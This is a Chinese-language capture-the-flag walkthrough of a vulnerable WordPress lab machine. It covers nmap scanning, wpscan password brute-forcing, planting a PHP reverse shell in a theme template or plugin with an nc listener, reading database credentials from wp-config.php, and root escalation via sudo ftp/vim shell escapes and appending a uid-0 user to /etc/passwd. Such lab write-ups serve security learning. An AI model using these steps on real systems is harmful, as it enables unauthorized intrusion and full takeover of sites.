信息收集
主机发现
攻击机网段192.168.31.0/24,扫描同网段存活主机。
nmap 192.168.31.0/24 -Pn -T4
发现靶机,IP为192.168.31.176。
端口扫描
扫描靶机开放端口。
nmap 192.168.31.176 -A -p- -T4
开放了80,4512端口,注意ssh服务端口改到了4512端口上(后续如果要使用ssh登录需要加上-p 4512)。
web信息收集
访问80端口,首页如图:
根据首页信息,该网站由WordPress搭建。直接使用wpscan枚举用户名和密码,枚举出三个用户:philip,c0ldd,hugo,分别枚举密码。
wpscan --url http://192.168.31.176 -e u,p,t
# 得到c0ldd,hugo,philip三个用户名,分别枚举密码
wpscan --url http://192.168.31.176 --passwords /usr/share/wordlists/nmap.lst --usernames c0ldd --max-threads 100
只有c0ldd用户枚举出密码:9876543210。
拿到用户名和密码,尝试登录wordpress后台。访问/wp-login.php输入用户名密码,发现成功登录管理员后台。
getshell
WordPress getshell常用方法通过msf获取目标靶机shell在该靶机中无法成功,只能通过其他方式getshell,WordPress getshell的方法有:
-
将反弹shell写入网站模板中
-
将反弹shell压缩成zip,伪装成插件进行安装
-
将反弹shell添加到WordPress后台已安装的插件代码中
-
安装有漏洞的插件
下面演示两种常用的getshell方法。
方法1:网站模板
既然登录了管理员账户,就可以修改模板,在模板中写入反弹shell,访问即可。
例如,修改404.php模板的内容。
反弹shell脚本(php-reverse-shell)_php-reverse-shell.-CSDN博客
写入反弹shell脚本后,点击Update File上传成功才能利用。
# 攻击机 端口号与反弹shell脚本内一致
nc -lvp port
# 访问http://192.168.31.176/wp-content/themes/twentyfifteen/404.php
成功getshell。获取一个交互式shell执行:python3 -c 'import pty;pty.spawn("/bin/bash")'
方法2:添加反弹shell到插件代码
在插件选项中看到已经安装了两个插件,随便启用一个(记得一定要启用),这里启用的是Hello Dolly插件。
点击Edit编辑插件代码,在代码中添加反弹shell脚本,点击Update File更新。
攻击机开启nc监听5555端口。成功getshell。
getshell后进行信息收集,在/var/www/html下找到一个hidden文件夹。
访问后得到的信息是:需要c0ldd用户修改hugo用户的密码,以便hugo登录并上传文章。
试过修改密码然后就不知道有啥用了。
同样在/var/www/html路径下cat wp-config.php
找到一个数据库账号和密码。
账号:c0ldd
密码:cybersecurity
/home/c0ldd目录下发现user.txt,但是没有权限,c0ldd才有读权限。
既然只有c0ldd用户有读权限,就尝试切换到c0ldd用户,拿上面的密码登录c0ldd用户。
得到flag1,是一串base64加密字符。解密后是西班牙语:
Felicidades, primer nivel conseguido!
提权
sudo -l
vim,ftp,chmod这三个都可以用。
# ftp
sudo ftp
!/bin/bash
#vim
sudo vim -c ':!/bin/sh'
# chmod
sudo chmod 777 /etc/passwd
openssl passwd -salt '12' 123456 //生成加密密码
12tir.zIbWQ3c //上一步生成的加密密码
echo "akk:12tir.zIbWQ3c:0:0:ROOT:/root:/bin/bash" >> /etc/passwd //向/etc/passwd中写入一个root权限的用户akk
1、ftp提权演示如图:
2、vim提权演示如图:
3、chmod提权演示如图: